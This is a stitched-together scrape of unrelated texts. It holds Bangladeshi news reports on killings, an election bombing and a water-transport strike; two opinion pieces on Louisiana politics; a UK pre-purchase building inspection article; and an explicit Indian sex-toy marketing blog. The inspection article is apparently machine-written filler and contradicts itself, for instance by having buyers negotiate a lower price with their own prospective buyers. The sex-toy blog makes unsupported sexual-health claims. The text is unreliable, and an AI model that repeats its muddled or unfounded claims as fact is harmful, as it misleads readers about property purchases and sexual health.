wounded.
2 killed, bodies of spouses found in hotel

Staff Reporter :

Two persons were killed in Noakhali and Farirpur districts, while the bodies of spouses were found in a Rajshahi hotel on Friday, according to agencies.

In Noakhali, a housewife was found slaughtered at Dakkhin Char Clerk Adarsha village under Subarnachar upazila on Friday morning.

The deceased has been identified as Kulsuma Begum, 35, second wife of Firoj Alam, an inhabitant of

the village. Nizam Uddin, Officer-in-Charge of Char Jabbar Police Station, said Kulsuma used to live alone in a house built on a disputed land. As Kulsuma did not come out of the house on Friday, even late in the morning, locals gathered at the house and called her from outside.

Getting no response, they peeped through a window only to see her lying in a pool of blood. On receipt of information, police recovered the body and sent it to Noakhali General Hospital. The OC said that Kulsuma's husband and one Zahirul Haque, inhabitant of Uttar Charbata village, had been at loggerheads over the ownership of the piece of land, where the house was constructed.

In Rajshahi, the bodies of a young spouses were found in a hotel of Shaheb Bazar, Rajshahi city on Friday.

The deceased were identified as Mizanur Rahman, 30, son of Umed Ali from Pathan Para area in Ullapara upazila in Sirajganj district, and Sumaiya Nasrin, daughter of Abdul Karim from Radhanagar under Sadar upazila of Pabna district.

Manager of Nice Hotel Abul Kalam Azad said that the couple had been staying at room no. 302 of the hotel since Wednesday night, identifying themselves as husband and wife.

As the hotel employees did not get any response of the couple for hours on Friday morning, they entered the room by breaking the door-lock and found the them lifeless.

Witnesses said that the body of the young man was hanging from the ceiling fan while his hands tied together on the front side. The body of the woman was lying in the bed with stabbing injury marks in the chest.

Officer-in-charge of Boalia Police Station Shahadat Hossain said that on receipt of information, police went to the spot and recovered the bodies. Police are investigating the matter.

In Faridpur, one person was killed in a road crash at Bhanga upazila headquarters when an unidentified passenger bus rammed into his motorcycle he was driving in the morning.

The accident took place on the Bhanga-Mawa Road in front of Bhanga Fire Service station when he was going to Dhaka from Nalchiti of Jhalakathi district by motor cycle.

According to Bhanga Highway Police sources, the deceased identified as ABM Alamgir Talukdar, 55, a physician by profession was taken to Bhanga upazila hospital where he succumbed to his injuries. His body was handed over to his son without any post mortem.

Police and local people could not identify the driver of the bus. A case was registered with Bhanga Highway Police in this connection. Alamgir was also an Awami League leader of Nalchiti upazila.
Bomb attack on AL office in Shariatpur

Staff Reporter :

Miscreants threw bombs on the Awami League office on Friday midnight at Chikondi Bazar under Shoulpara Union in Shariatpur Sadar upazila.

Witnesses said that, the attackers flung about 20 crude bombs targeting the office at about 12.30am. There was no report of casualties in the attack.

Awami League nominated candidate Mahbubur

Razzaq complained that independent candidate Yasin Howlader did it. At least 15 bombs were blasted in which some chairs and party's banner were burnt.

Sometimes later, the miscreants broke open the door of the party office and burnt a bamboo and cloth made boat (party's election symbol) with petrol. On receipt of information, police came to the spot, restored discipline and recovered five live bombs from inside the party office. Tense situation prevails. Additional police forces have been deployed to prevent clashes.

Awami League candidate Mahbubur Razzaq said, "I am the party's official candidate and I am confident of my victory with about 90 percent of votes. But vindictively my rival Yasin Howlder escorted by his supporters attacked the AL office and burned the election symbol made of bamboo and cloth. I shall file a case against him." On the other hand, independent candidate Yasin could not be contacted for his comment despite repeated attempts in cell phone.

Khalilur Rahman, Officer in-Charge of Palong Model Police Station said that situation was under police's control.


Passengers continue to suffer most

Commuters continue to suffer most as Bangladesh Water Transport Federation\'s non-stop strike enters second consecutive day on Friday demanding for salary hike. Photo shows: all goods laden vessels being stranded.

Staff Reporter :The countrywide indefinite water transport strike entered its second day on Friday disrupting movement of imported goods through Chittagong and Mongla ports as the lighter vessels remained stranded.Besides, normal life especially in the country's southern region, came to a halt as operations of motor launches, barges, tankers and lighter vessels remained suspended since Wednesday midnight.Low-income people suffered the most as they could not afford to travel on buses. Many were seen lying on the floor of country's different terminals.Movement of the goods, sand and oil-laden water vessels also remained suspended for the second day as usual. Thousands of people bound for the southern parts of the country got stranded on Thursday. Many waited for hours at the Sadarghat launch terminal in vain. Some even had to spend the night there.Following the strike, the communications through waterways in southern routes were snapped. As the strike continued, the passengers underwent unbearable sufferings being left in the lurch at the launch terminals. Bangladesh Water Transport Workers Federation (BWTWF) has called the strike to press home their 15-point demands, including a minimum monthly wage of Tk 10,000 for workers and increase in overtime pay, festival bonuses and other benefits.On Friday, amid strike some 12 launches from different routes of southern region reached the Sadarghat terminal while three private launches left Sadarghat terminal for different destinations till Friday afternoon. Earlier in 2009, 2010 and 2013, the workers had struck work over their demands. Vessel owners had increased their allowances only in 2013. "There is no alternative but to go on strike. We will continue our strike if our 15-point demands are not met. Price rise has made our lives miserable. We demand a pay hike only for survival," Enayet Hossain, President of Noujan Sramik League said.On Wednesday, a 12-hour tripartite meeting was held on the Bangladesh Inland Water Transport Authority (BIWTA) premises, with Shipping Minister Shajahan Khan in the chair. But the meeting was inconclusive.On January 26, the workers had set a deadline of April 20 to vessel-owners to fulfill their demands. But the owners did nothing, said Enayet Hossain. "On Wednesday, they sought another 15 days, but we refused," he said.Chowdhury Ashiqul Alam, General Secretary of Bangladesh Water Transport Workers Federation, said the strike will continue until their demands were met.On the other hand, Shipping Minister Shajahan Khan hoped that the vessel workers would withdraw their strike soon. "I hope the workers will call off their strike soon as discussions are underway with vessel owners and workers over the issue," he said while talking to reporters after a programme at Mirpur in the capital on Thursday. The Minister said the vessel owners and workers themselves will have to resolve their problems.Pointing at the workers, Shajahan Khan said they should not go on a strike taking people hostage. The workers get Tk. 4,100 per month as salary, Enayet Hossain said, adding that it is impossible for them to run families with this paltry amount. "We have demanded Tk. 8,250 per month as salary considering the present market prices. The strike will continue unless our demands are met," he said.Our Barisal Correspondent adds: Passenger launches, goods laden cargo, oil tankers are either staying in Barisal terminal or remain anchored on Kirtankhola River surrounding the river port.Except the three passengers carrying river vessels of Barisal-Dhaka route belong to the owners of pro-ruling party alliance, no other vessel left Barisal river port on Thursday night and till writing this report on Friday. River transport workers hold demonstration in Barisal launch terminal in support of their strike on Friday. Hundreds of porters, hawkers and makeshift shop owners depended on river port activities are being deprived of earning their livelihoods due to strike of river transports. Mass people, especially in the river isolated areas of southern region, traders and businessmen, daily passengers, and patients are facing sufferings due to water transport strike.Road transport stations became overcrowded and vehicles over loaded in absence of water transports. Ekin Ali, Acting President of Barisal unit of Noujan Sramik Federation, said owners seek more time, but we gave them three months time on January 26. During the time they have not taken any step to resolve the problem.
Louisiana AG Jeff Landry

Of course Attorney General Jeff Landry loves the anti-immigration bill currently working its way through the state Legislature. House Bill 151, introduced by Rep. Valerie Hodges of Denham Springs, gives the crusading AG de facto authority to withhold funds from jurisdictions and municipalities he determines to employ sanctuary city policies, a staggering overreach of his powers of enforcement. Itd be one thing if a sanctuary city was a readily definable thing, but it isnt. And this bill keeps it plenty vague enough to take full advantage of Landrys terrifying imagination.

The bill, a dead-ringer for a failed 2015 U.S. Senate bill authored by David Vitter, gives Landry full discretion to determine if a jurisdiction is a sanctuary city, based on over-broad definitions of certain formal or informal immigration policies. Require that federal immigration enforcement have probable cause to detain an offender on its behalf  no more road funding. Prohibit your officers from inquiring about immigration status  no more outlay for you.

While its technically the Legislature that authorizes the funding cut, the attorney general determines the scope. Assuming efforts are made by local jurisdictions to meet Landrys standard, its Landrys purview to say theyve done enough, regardless of how those policies interact with federal immigration policy.

The bald-faced power-grab is bad enough, but in a recent press release he slathers on layer after layer of racist cliche and boiler-plate nativism: Besides fiscal and legal issues, there are many health concerns, Landry says in the release. For example: before my son went to kindergarten, he had to get a list of vaccinations. There is no telling what diseases illegals may bring and impose on our people, especially on children.

Im not aware of any vaccines specifically related to potential exposure to illegal immigrants. Its frankly irresponsible for him to make such an unsubstantiated claim, especially one that reeks of cultural supremacy.

But Landry goes on: Immigration and Customs Enforcement recently revealed that 1,867 illegals released by sanctuary cities last year were later arrested 4,298 times with 7,491 new crimes  including rape and child sex abuse. Unfortunately, 1,116 of them were not given to ICE and are considered at-large.

Whats troubling here is that Landry wants you to believe that 1,116 at-large illegal immigrants are violent offenders. Thats simply not the case. Federal immigration policy and cooperating local agencies specifically target high-interest violent offenders. Most of the at-large unlawful entrants are misdemeanor offenders. If youre picked up for rape, you get processed as a rapist in the full force of the law. Thats the normal course of American justice.

The tragic murder of Kathryn Steinle on a pier in San Francisco was committed by an undocumented migrant with a violent past. Thats true. But that criminal had been deported several times prior to Steinles murder. A revocation of San Franciscos sanctuary polices would not have saved her life. You could blame border security for that. You cant blame the city of San Francisco.

Landry wants local agencies to investigate immigration status, also ransomed against state funds. Local law enforcement agencies have exactly zero authority to determine immigration status. Zip. Zilch. Nada. None. A Mexican national can jump the border, get pinched for theft and brag about it to his arresting deputy and the local agency can do nothing about deporting him/her.

The sanctuary city phantom is just that  a bogeyman concocted by conservative politicos for the purposes of subtly riling nativism and raking in votes. For many of the 340 jurisdictions identified by the Center for Immigration Studies as sanctuary cities, these policies address the relationship between local and federal law enforcement, and its an involved and complicated one.

Keep in mind the feds dont use the term sanctuary cities at all. Its a designation applied by CIS, an organization that the Southern Poverty Law Center has linked to right-wing nativist groups like Federation for American Immigration Reform. CIS is effectively the laundered policy apparatus of a cabal of anti-immigrant hate groups all sharing the dubious honor of forming the brain trust of white nationalist John Tanton, who has publicly advocated for the protection of a European-American majority in the U.S.

By HB 151s own rubric, the state could penalize a local jurisdiction for simply obeying federal law. A 3rd Circuit ruling in 2014 held that the federal government cannot compel local jurisdictions to hold offenders suspected of unlawful entry longer than a court-ordered sentence. In effect, that puts the legal and financial burden of detention on the local agency. The feds can ask for an offender to be held for investigation. If the local cops comply, hold the offender without cause and the offender is later determined to be a U.S. citizen  as happened to Ernesto Galarza of Lehigh County, N.J.  then the local agency gets stuck with the bill. Thats monies lost for housing, to say nothing of the millions in civil damages for violation of constitutional rights. The federal government is not held responsible.

Lafayette Parish, Orleans Parish and the city of New Orleans are Louisianas resident sanctuary jurisdictions. Lafayette was so designated by CIS due to outgoing Sheriff Mike Neustroms policy of requiring federal immigration agents to produce a warrant or probable cause to detain an offender, suspected of entering the country illegally, longer than the offenders original sentence. Neustroms initiative complies with federal immigration policy and responsibly insulates local taxpayers from potential litigation. As a bonus, the policy keeps non-violent offenders out of our over-crowded jails.

What Landry would have you believe is that policies like Neustroms put dangerous offenders on the street for no good reason. The reality is you can make a reasonable case that federal immigration policy is broken. You can believe  wrongly  that guest workers or illegals or aliens are a dramatic drain on the American economy. You can believe that we should build a wall of Babylonian proportion and ready snipers at hundred-foot intervals. But the fact remains that HB 151 does little to change to what is in effect a federal problem. Your anger, and thus Landrys, should be directed at the federal government, not the local jurisdictions that are simply trying avoid costly litigation and overcrowded jails.

For Landrys part, this law smacks of misdirection and misinformation. For all his faults, Landry is nothing if not politically savvy. He should know the law better, and he likely does. Check back in four years. It would come as no surprise to see immigration as a standard the AG heralds into a gubernatorial campaign.
American Press columnist lets the facts get in the way, giving new guv much-deserved pat on the back for hard-fought effort to right the ship.

Gov. John Bel Edwards Photo by Robin May

It's undeniable, writes American Press columnist Jim Beam: Gov. John Bel Edwards has had a productive 100 days in office.

Beam contends the governor has acted responsibly from the first day he assumed the office. Talk to those who know him, Beam urges his readers, and they will tell you he is a sincere individual who only wants what is right for his state. The governor has lost more battles than he has won, but he isnt complaining, Beam writes.

The columnist also points out that Edwards has committed to keep voters informed and the lines of communication open via a monthly call-in radio show.

Unfortunately, Beam writes in his solid analysis, [Edwards] has had to contend with constant opposition from the state Republican Party, a handful of obstructionist GOP members in the House and state Treasurer John Kennedy.

The state party is sniping at Edwards in order to raise campaign money. The ultra-conservative Gang of No in the House continues to throw up roadblocks to the governors efforts to erase nearly $3 billion in budget deficits. And Kennedy, who is running for the U.S. Senate, keeps harping about the state having a spending problem. Despite the obstacles, Edwards has kept a positive attitude. Its going as well as can be expected, Edwards told The Advocate during an interview about his first three months. Im not down about anything. Ive remained engaged. Im talking to everyone to work through differences and find common ground. The same cant be said about Jason Dore, the executive director of the Louisiana GOP. I think he ran as a conservative Democrat, and hes governing from the left, Dore told the newspaper. His ideas are much more in line with Hillary Clinton and Bernie Sanders than any conservative. Throwing the Clinton and Sanders names out there is a sure-fire way to fire up the GOP faithful, and its typical of the dont-let-the-facts-get-in-the-way tactics of the state Republican Party. As you can tell from the presidential contenders who are focused on fighting The Establishment, political parties dont enjoy a lot of credibility these days.

Read the April 21 column here.
What will the next governors cabinet look like?

As important as it is for an incoming governor to staff up with the right kind of talent, especially when it comes to their 16 key cabinet positions, its always surprising how rarely the topic is publicly discussed on the campaign trail.
Pre-purchase property inspection is a relatively new thing in the United Kingdom. Its not something that most people have heard about, but it has become increasingly popular over the last few years with the rise in property prices and increased demand for high quality homes.

What are the benefits of pre-purchase building inspection? What can you expect to find out when you pay someone else to inspect your home before you buy it? And what should you look for during an inspection?

Many people want to know if theyre buying a house thats been well maintained or if its had any serious problems. If youve found a place on the market that seems attractive, but then discover some issues after moving in, you may not be as excited about buying it as you thought you were.

Its important to do your due diligence when looking at properties. A lot goes into making a property appealing to potential buyers, from the landscaping to the flooring to the kitchen appliances. The same applies when inspecting a property  there are many things that need checking over to make sure everything is running smoothly.

Here are some of the benefits of performing a pre-purchase inspection:

You get to see exactly what will happen to your money

When you go shopping for a new car, youll probably be shown several different models. You might even be shown one that looks like a great value, but doesnt fit around all of the extra features that you want. When it comes time to actually buy the vehicle, however, you wont have seen how your money will be spent on it once you drive it off the showroom floor.

Likewise, when you shop for a new home, you dont really know what youre getting yourself into until you move in. In order to get a feel for whether the home youre considering is what you want, you normally have to spend quite a bit of time inside it. This allows you to learn more about everything that youre going to be spending your hard-earned cash on.

A pre-purchase building inspection gives you much the same kind of experience without having to spend thousands of dollars. Since youre paying for the service, you can expect to see exactly what youre paying for, instead of just seeing a vague idea of what you might end up with.

You find out about potential major repairs

Some buildings are very expensive to maintain, which means that owners often neglect them for the sake of saving money. While youre paying for a building inspection, youre also paying for a professional who knows how to spot signs of trouble and repair work that needs doing.

If you notice that a particular area of your new home needs fixing right away, you can call in an expert to take care of it quickly. If you find that theres something wrong with your boiler, you wont have to wait weeks for a plumber to come over and fix it. Instead, youll have access to a solution immediately.

You can save hundreds of pounds by finding out about potential problems early on

One of the biggest expenses when you first buy a home is the cost of moving in. Many people dont realize this until its too late. Buying a home involves not only paying for the actual house, but also for moving costs, furniture, and other items that have to be moved along with the home.

Having a good idea ahead of time of what youre likely to encounter can help you avoid these kinds of costs. If you know youll need to replace the plumbing system, for example, youll be able to put together a budget for the expense and plan accordingly.

You can protect your investment by finding out if the homes been well cared for

While there are plenty of people who think that houses always look better when theyre newly built, youd be surprised at how well maintained older residences can still look nice. Sometimes, though, those homes need some additional maintenance to keep them looking their best.

This could involve repairs that arent so noticeable or small improvements that you wouldnt consider otherwise. Even worse, some houses have fallen into disrepair without anyone noticing. This is why having a professional perform a building inspection prior to purchasing a home is such a big benefit.

Not only will it give you insight into the state of the property, but it will also give you peace of mind knowing youre not getting taken advantage of. As long as youre aware of the potential pitfalls, youll have less reason to worry about the state of your new home.

You can use information gathered during a building inspection to negotiate a lower price

If youre worried about buying a home because you suspect that it may need extensive renovation work, you may already have a rough idea of how much work youll need to do to bring it up to scratch. That knowledge can come in handy if you decide to buy the home.

You can use all of the details that you gather during a building inspection to present a realistic picture of what the home is worth to prospective buyers. If a potential buyer thinks that the home is worth more than what you paid for it, you can try negotiating a lower price.

You can sell your home faster and for more money

If you decide to list your home on the market soon after buying it, youll need to price it accurately in order to attract buyers. But if youve already done a thorough building inspection, youll know exactly what work is needed and what the current market conditions are.

In other words, youll be able to make a more accurate estimate of the amount of money youve invested in the home and how much its worth. If you find that youre selling your house for close to its full market value, you can use this information to convince the potential buyer that your home is worth the asking price.

Even if youre planning to stay in the home for a while before you decide to sell, the fact that you did a thorough building inspection will give you more confidence when listing it. Prospective buyers will know exactly what theyre paying for.

Your home will hold its value longer

As mentioned earlier, the value of a home depends heavily upon the condition of the building itself. If your home is in bad shape, potential buyers wont be interested in buying it. On the other hand, if youve performed a thorough building inspection and know what sort of repairs are necessary, you can offer your prospective buyer a compelling reason to invest in your property.

When you buy a home, youre essentially agreeing to have it inspected periodically to ensure that it stays in top shape. Not only does this allow you to avoid expensive repairs down the road, but it can also increase the value of your home.

You can make smart decisions about property investments

Buying real estate isnt as simple as just driving a couple of minutes to pick up a house. There are lots of considerations involved, ranging from location to cost. The same is true when youre investing in property.

If you find a house that meets all of your requirements, youll want to make sure that you have a solid understanding of where it stands with regards to the rest of the market. If you havent spent enough time researching the area, you could inadvertently end up with a bad deal.

There are lots of resources available online that can help you determine the overall level of competition in your area. They can also help you figure out if there are any properties that meet your requirements that you didnt know about.

If you own rental property, you can use the information to identify tenants who might cause damage

If you own rental property and youve noticed that certain tenants consistently cause damage, you can use the results of a building inspection to identify them. You can then contact them directly to let them know that youre watching them closely and that you dont appreciate the problem theyre causing.

They might start taking better care of their homes, which would be good news for everyone. It could also be the case that youll find out that theyre responsible for previous damages that werent caught during a previous visit.

You can make smarter decisions about hiring contractors

If youve hired contractors to build or repair your home, you might want to ask them for references. However, unless you perform a thorough building inspection, you might not know exactly what to look for.

For instance, maybe you only checked the roof for leaks or the walls for cracks. You might not have looked underneath the foundation for anything that could cause a future issue. By performing a building inspection, you can ensure that you hire reputable contractors who will be trustworthy with your money.

You can avoid purchasing a home thats in poor condition

Of course, the main benefit of structural inspections perth is that it helps you avoid purchasing a home thats in poor condition. Before you make the decision to buy a home, you should do whatever you can to find out about the state of the building.

You can also ask your realtor about what sorts of inspections are typically recommended. Some agents say that its standard practice to check the heating system, the roof, the electrical wiring, and the floors. Others will tell you that they recommend that you check the entire structure.

Either way, if you choose to hire an inspector, youll find out exactly what needs to be fixed and how much it will cost to do so.

As a result, it can be concluded that a pre-purchase building inspection is highly important for the buyers because it provides transparency regarding the current conditions of the structure. Additionally, the building owner is made aware of any upgrades or repairs that are required, which could lead to a fair deal throughout the purchasing and selling process.
The sextoy market is growing quite rapidly in India right now.

Although it is not a big trend, it is a hot topic on the internet as it is secretly expanding its market.

In this article, we will focus on sextoy and introduce recommended sextoy for Indian beginners of sextoy by gender.

India, the birthplace of the Kama Sutra, is very strict about sex.

Also, premarital sex is basically not allowed. Therefore, there are many people who are sexually restricted.

But what happens when you continue to be sexually restricted?

Frustration may build up and you may end up taking your sexual stress out on your partner.

If you are able to adopt sextoy in a timely manner, you can get rid of those problems.

I want to have more exciting sex than Im having now.

I want more variation in masturbation

I want to get even stronger pleasure than I do on my own.

If you have any of these problems, please stay with me until the end.

What is sex toys for Indian?

Sextoy, as the name implies, is a toy used during sex and masturbation.

It is a generic term for vibrators, Egg-vibrators, Electric massagers, dildo, handcuffs and condoms.

They are used to make regular sex more exciting or to make masturbation more pleasurable.

Because sextoy is very stimulating, it can help you to get rid of the problems and frustrations of being in a rut of sex with your partner for a long time, or if you are unhappy with the lack of pleasure in sex with your partner.

The ability to satisfy your desires with movement, texture, and size, which cannot be done by a normal human being, can help you to be satisfied with sex and, as a result, improve your relationship with your partner.

It is also said to help improve sexual dysfunction (inability to get an erection or ejaculate) and difficulty in feeling during sex (insensitivity), which is attracting more attention than in the past.

In recent years, the demand for sextoy has increased due to the spread of smartphones and the Internet and the increasing number of people using online shopping.

Even those who are concerned about the appearance of sextoy (and find it difficult to purchase) can now easily obtain it by using mail order.

In the case of online shopping, most of the stores have taken steps to ensure that the contents of the products delivered to you are not revealed, so you can purchase them without your family members knowing.

Until a while ago, you had to go to the store where the adult goods were sold to buy them, so it was quite a hurdle to overcome.

Also, many people may have an image that sextoy is somehow embarrassing to own.

But nowadays, some of them are so stylish and cute that you cant believe they are sextoy at a glance.

More and more people are using them for travel and outdoor use because they are not too bulky and are suitable for carrying around.

Sextoy situation in India

Before introducing the recommended sextoy for Indians, lets talk about one of the sextoy situations in India in recent years.

In India, due to the high concentration of population, the following six cities have particularly high sales of sextoy in India.

Mumbai

Kolkata

Bangalore

Delhi

Chennai

Hyderabad

These cities account for roughly 70 percent of sextoy sales in India.

In the future, the percentage of sextoy use will gradually increase in other cities in India as well.

If you never talk about sextoy publicly, that girl in your neighborhood might be a sextoy user too.

If you are interested in sextoy, you dont have to suppress your desire for it.

What are Sextoys for beginner?

Among all sextoys, sextoy for beginners are vibrators, dildo, masturbators, Sex Lubricants, and condoms.

Sex Lubricants and condoms, which are familiar to people who have had sex, are also a great beginners sextoy.

I will explain the details of each toy later, but there are many sextoy products that are painful to use and can only be used after some anal expansion.

I assume that the Indian readers of this article are people who have not had much experience with sextoy.

If such people use professional sextoy suddenly, they are at risk of injury or trauma.

Therefore, to introduce sextoy, you need to start with a beginners version and gradually become familiar with it.

Advantages of using sextoy for Indians

There are three advantages of using sextoy for Indians

You can masturbate in a wide variety of ways.

Can have stimulating sex

Can develop new sexual zones

If you try to masturbate with your own fingers or hands, it tends to be a pattern.

However, with sextoy, you can easily masturbate in a variety of ways.

You will definitely be fascinated by the attraction of new stimulation.

Also, your daily sex life will be more exciting than ever.

There are many things in sextoy that are visually stimulating and give you a strong and intense feeling of pleasure.

This allows you to see your partners promiscuity in a way that you wouldnt normally see it.

When you are in a relationship, sex with your partner may become a pattern, but it can also eliminate these problems.

It can also lead to the development of new sexual zones (which is the training of sexual stimulation to allow you to feel orgasms).

For more information on the development of new sexual zones, see the following articles

[Women's Erogenous Zone]How to find and develop, 7 hidden sexual zones !![In India] In this issue, we will dissect the female erogenous zone! ..." Many of you may be like that. Men, in particular, shou...

Thus, the use of sextoy can only be a good thing for the men and women of India.

Sextoy for beginner men in India

So, lets continue with the recommended goods for Indian sextoy beginners.

For ease of understanding, we will introduce them by gender. Lets start with the men!

The following five goods are recommended for novice Indian sextoy men

Masturbator

Cock rings

Love Doll

Sex Lubricants

Toys for the prostate

Lets check each one in detail.

Masturbator

The masturbator is a sextoy for men that elaborately reproduces a womans vagina, mouth, and anus, and is one of the most popular sextoy products.

It is used by men to masturbate, and it is popular because it provides stronger stimulation and pleasure more easily than using hands.

Most are made of good quality silicone, and their softness is something that cannot be achieved with ones own hands.

They can provide stronger pleasure than a real womans vagina, so be careful not to overuse them. (You wont be able to have an orgasm in a womans vagina anymore.)

Again Male masturbators are a wonderful toy. I do not need any favourite timing, bothersome bargaining. You do not have to worry too much.

Revolutionize your masturbation time! ! !

Made in Japan is a wonderful kinky toy.#sextoysindia #SexToyIndia #Japanhttps://t.co/4k70QGzoTP pic.twitter.com/tRVdxTKPpa   SEXToys India PR  (@SextoysIndia) November 12, 2018

Some of them are disposable, while others can be washed and used over and over again, so its fun to buy a few to use depending on your mood.

If you want to know more about masturbator, please click here

Really pleasant male masturbation and how to do it Are you in a rut with your daily masturbation routine? I'm going to show you five ways men masturbate that you might ...

[For Beginners] How to choose and use a male masturbator without fail Gentlemen.Have you ever used a masturbator? The person who sees this article is probably the one who has not experien...

Cock Ring

A cock ring is literally a ring-shaped sextoy that is worn on a mans penis.

It maintains an erection by binding the penis with a ring of rubber and blocking blood flow.

It is sometimes used as an accessory to be worn on the penis, and may be made of metal or plastic as well as rubber.

In some cases, cock rings have parts or vibrators attached to them that stimulate the vagina, so they kill two birds with one stone, giving a woman pleasure while maintaining an erection.

Cock rings are also sometimes used to treat erectile dysfunction.

It can help with erectile dysfunction, where the penis doesnt get hard when you get an erection or doesnt last long when you try to insert it.

Men who are prone to breakage or who are unsure of the hardness and size of their erections can use a cock ring to increase the size of their penis and maintain an erection for a longer period of time.

Cock rings vary in price from around RS700 to over RS2000 with a vibrator function.

Some of them do not fit your penis, so you should check the size of the cock ring before you buy.

You should know the size of your partners or your own penis when it is erect.

[Penis enlargement] What is a cock ring? Types and usage Cock rings can make your penis bigger and harder. It also makes sex with women more fulfilling and increases your sat...

Love Doll

Love dolls, also known as Dutchwives, are dolls with the appearance of a woman who can experience simulated sex.

There are dolls that look like a woman, but they have no face and only have their breasts and lower torso cut off, and some dolls are so realistic that they can actually be mistaken for real women.

Some expensive dolls can cost more than 1 million yen, and the quality of the doll is easily influenced by the price.

The higher the price, the higher the quality of the doll will be, the closer it will be to the real woman, and the cheaper the doll will be, the less elaborate it will be, making it look like a real doll! Something is wrong! That is also true.

You cant go wrong if you choose a balance between price and taste.

There are stores that allow you to make custom-made love dolls, so you can create a girl of your choice.

You can make a girl of your choice. You can start with inexpensive love dolls at first, and once you get used to it, you can try custom-made love dolls.

If you want to know more about Love doll, please click here

Thorough explanation of the charm of sex dolls! Have you ever heard of sex dolls that are used primarily for pseudo-sex purposes? It is a doll that is quite close to...

Sex lubricants

Sex lubricants are used as a substitute for lubricating fluid during sex or as a lubricant for men to use masturbator rules.

It is not uncommon for women to have difficulty getting wet, depending on their physical condition, or to have difficulty getting wet due to their constitution.

Forcing the penis into the vagina at such times can cause painful intercourse.

There are various types of Sex Lubricants, some with a warming effect, some with a cooling effect, and some with a scent.

Changing the Sex Lubricant used during play is recommended as a good sex accent.

If you want to learn more about Sex Lubricants, click here.

What is sex lubricant?Explain the difference and usage of each ingredient The word "sex toy" may seem like a hurdle to overcome, but lotion is actually one of the most familiar sex toys. Many...

Toys for the Prostate

Another sextoy for men is prostate toys.

The most famous prostate toys include Enemagra, which was originally a prostate massager developed by an American urologist to treat an enlarged prostate line.

Modern prostate toys are imitations of Enemagra that have spread as sextoy for men.

Many people think of prostate toys as being used by gay men, but in fact they are often used by straight men.

What is the prostate?

The prostate is an organ found only in men. It is a walnut-sized organ located deep in the pelvis, just below the bladder, and its primary role is to protect and nourish sperm.

You cannot touch the prostate gland from outside the body, but you can touch it by inserting a finger or sextoy through the anus.

By inserting a finger or sextoy through the anus and touching the prostate and developing it, you can feel intense orgasms.

Orgasms felt in the prostate are mainly dry orgasms, which are orgasms that do not involve ejaculation. (You can also feel orgasms with ejaculation through prostate stimulation.)

The prostate is called the male G-spot, and dry orgasms can be much more intense than ejaculation.

Therefore, men who are able to develop a prostate can become addicted to the pleasure.

sextoy for beinner women in India

The following are the recommended goods for Indian women who are new to sextoy.

The following three are recommended for use by women who are new to sextoy.

Vibrator.

Dildo

Electric Masserger

Lets check out what each one is in detail.

If you want to check out womens toys, click here.

[BEST25]Sex Toys for Women in IndiaThat Can Help You Have an Orgasm There are many women who pretend to feel orgasm during sex. But don't worry, you don't have to pretend to feel orgasm...

Vibrators

A vibrator is a sextoy that vibrates with an Egg-Vibrator to provide stimulation and is often referred to simply as a vibrator.

Some vibrate as well as rotate, and there are many variations of sextoy.

It is quite a popular sextoy, and is well recognized by people who do not know much about sextoy.

Its usage is similar to that of a massager, but it is more compact and easier to carry than a massager, and many of them look as cute as a lipstick or a macaroon, so they are popular among women.

For a while, a famous influencer on twitter said, This is good! You may have heard of the topic of this article by introducing the recommended vibrators.

Vibrators are great for women to use on their own, but they are also recommended for men who have difficulty satisfying women with sex.

Since it is powered by electricity, it is far less tiring than moving your hands by yourself.

This makes it easier to satisfy a woman with sex because you can caress her for longer than usual.

Vibrators are mainly used on the female side, but they can also be used on men.

When used on men, they are used to attack the nipples and glans, and in both cases it is recommended to wear a condom for hygiene reasons.

Introducing how to use the vibrator, its purpose, and how to choose it! Vibrator uses the vibrations caused by the rotation of the motor to provide stimulation. It is one or two of the most...

Dildo

A dildo is a model sextoy made to mimic a male penis.

It can be made of silicone, elastomer (think of it as a material similar to PVC), metal or glass.

A dildo can be used by a man for his female partner during sex, or by a woman for masturbation to get pleasure from it.

They are mainly inserted into women, but some can be used in the male anus as well.

It is sometimes used synonymously with vibrators, but the vibrator is not the same thing as a vibrating device.

A model of a penis that does not vibrate is a dildo.

Some of them have suction cups that can be attached to the floor or wall so that you can enjoy realistic masturbation without using your hands.

For fun, there is a dildo made in the shape of your partners penis.

This one is also popular as a gift, and if youve been together for a long time and are having trouble finding a gift for your partner, you might want to pick one.

To learn more about dildo, please click here.

What is Dildo: Orgasms with Dildos for Men and Women A dildo is a model of a male organ that is used by women for masturbation and by men to stimulate the prostate gland. Th...

Electric Masserger

A Electric Masserger is a hand-held electric massager, also known as a handheld massager, and can usually be purchased at electronics stores.

It was originally designed to relieve stiff shoulders and back pain, so the hurdle of buying one in a physical store is quite low.

Many people may have seen or used it in some form or another, as it is often installed in leisure hotels.

Such a massager is highly recommended for beginners because it is easy for women to get pleasure from it when they use it during masturbation.

It is larger than Egg-Vibrator and vibrations are stronger than those of Egg-Vibrators and vibrators, so even just hitting the clitoris can give you a great deal of pleasure.

For those women who have never had an orgasm during sex with their man, the massager may be a good way to get a feel for what it feels like to have an orgasm.

It looks and feels like an electric massager, so you wont have to feel awkward if your roommate finds out.

If you are in a rut of having sex with your partner, if you want to feel an orgasm through masturbation, or if you are thinking of using a sextoy, why dont you try it from a simple massager?

To learn more about Electric Masserger, click here.

What is a massager? Introducing types, selection methods, and usage Originally, the Magic-wand vibrator and the massage machine were sold as a home massage machine used for the back and th...

How to choose a sextoy for Indian

Now that weve covered the different types of sextoy, heres how to choose one.

Especially if you are trying sextoy for the first time, pay attention to the following three points:  Does the size fit you (the partner)?

Does the size fit you (your partner)?

Is the environment able to produce sound without problems?

Price range

First of all, the choice of size is quite important.

Most sextoy are used against or inserted into the genitals, but the genitals are very delicate organs for both men and women.

For this reason, using an inappropriate size may cause damage.

Secondly, the environment should be able to produce sound without problems.

Some sextoys not only wear, but also rotate and vibrate. Its easier to get pleasure from something that moves than something that doesnt, but the fact that it moves means that the internal rotors make some noise.

If you live in a house with thin walls or if you have roommates, you may not be able to concentrate because of the noise, so it is best to choose one that is silent or has a low noise level.

Especially in India, where many people live with their families, it is very important that you dont have to worry about sound when you use it.

Finally, there is the price range.

The price range of sextoy ranges widely, from around RS500 at the cheapest to RS10,000 or more at the highest.

Its good to consider how much money you can afford and how much you want to buy.

Do you want your family to not find out about sextoy?

I live with my family and want to use sextoy without them finding out! If you are a man, you should buy a camouflage sextoy that does not look like a sextoy at first glance.

For men, there are many masturbators that do not look like a sextoy, and for women, there are vibrators that only look like cosmetics.

If you choose such a type, youll be safe in case your family members find out.

How to buy sextoys in India
